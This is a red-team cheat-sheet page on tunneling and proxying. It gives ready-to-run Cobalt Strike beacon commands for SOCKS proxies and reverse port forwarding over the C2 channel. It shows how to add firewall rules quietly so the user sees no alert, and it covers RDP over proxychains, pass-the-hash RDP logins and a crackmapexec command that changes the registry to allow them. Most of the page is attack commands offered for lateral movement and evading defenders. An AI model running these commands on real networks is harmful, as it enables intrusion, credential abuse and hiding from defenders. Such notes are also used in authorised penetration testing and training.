# 12- Relaying / Proxying / Tunneling Technics

## Tunneling

## Socks proxies (CS)

\--> Cobalt Strike has both a SOCKS4a and SOCKS5 proxy.

Socks4

```
beacon> socks 1080
```

Socks5

```
beacon> socks 1080 socks5 disableNoAuth socks_user socks_password enableLogging
```

## Reverse Port Forward (CS)

Reverse Port Forwarding allows a machine to redirect inbound traffic on a specific port to another IP and port. A useful implementation of this allows machines to bypass firewall and other network segmentation restrictions.

This will bind port 8080 on Workstation 2.

```
beacon> rportfwd 8080 127.0.0.1 80
beacon> run netstat -anp tcp
TCP    0.0.0.0:8080           0.0.0.0:0              LISTENING
```

Traffic which will hit this port will be tunnelled to CS team server using the C2 channel.

**OPSEC**: When the Windows firewall is enabled, it will prompt the user with an alert when an application attempts to listen on a port that is not explicitly allowed. Allowing access requires local admin privileges and clicking cancel will create an explicit block rule.

You must therefore create an allow rule before running a reverse port forward using either netsh or New-NetFirewallRule, as adding and removing rules does not create a visible alert.

```
beacon> powershell New-NetFirewallRule -DisplayName "8080-In" -Direction Inbound -Protocol TCP -Action Allow -LocalPort 8080
beacon> powershell Remove-NetFirewallRule -DisplayName "8080-In"
```

## Proxying

#### RDP protocol

Proxy RDP protocol using xfreerdp

```
proxychains xfreerdp /v:192.168.0.10 /u:jdoe /p:Pass123 /d:corp.company.local /dynamic-resolution +clipboard
```

Proxy RDP protocol using [xfreerdp](https://www.kali.org/tools/freerdp2/) and use NTLM hash to authenticate (PTH RDP)

* System need to have *Restricted Admin Mode* enabled.
* If not enable you will get an error : “*Account Restrictions are preventing this user from signing in.*”
* Restricted Admin Mode is disabled by default.

```
proxychains xfreerdp /v:192.168.0.10 /u:Administrator /pth:8846F7EAEE8FB117AD06BDD830B7586C
```

Enable *Restricted Admin Mode* (need admin priv)

```
crackmapexec smb 192.168.0.10 -u Administrator -H 8846F7EAEE8FB117AD06BDD830B7586C -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'
```

## Resources

* <https://offensivedefence.co.uk/posts/ntlm-auth-firefox/>


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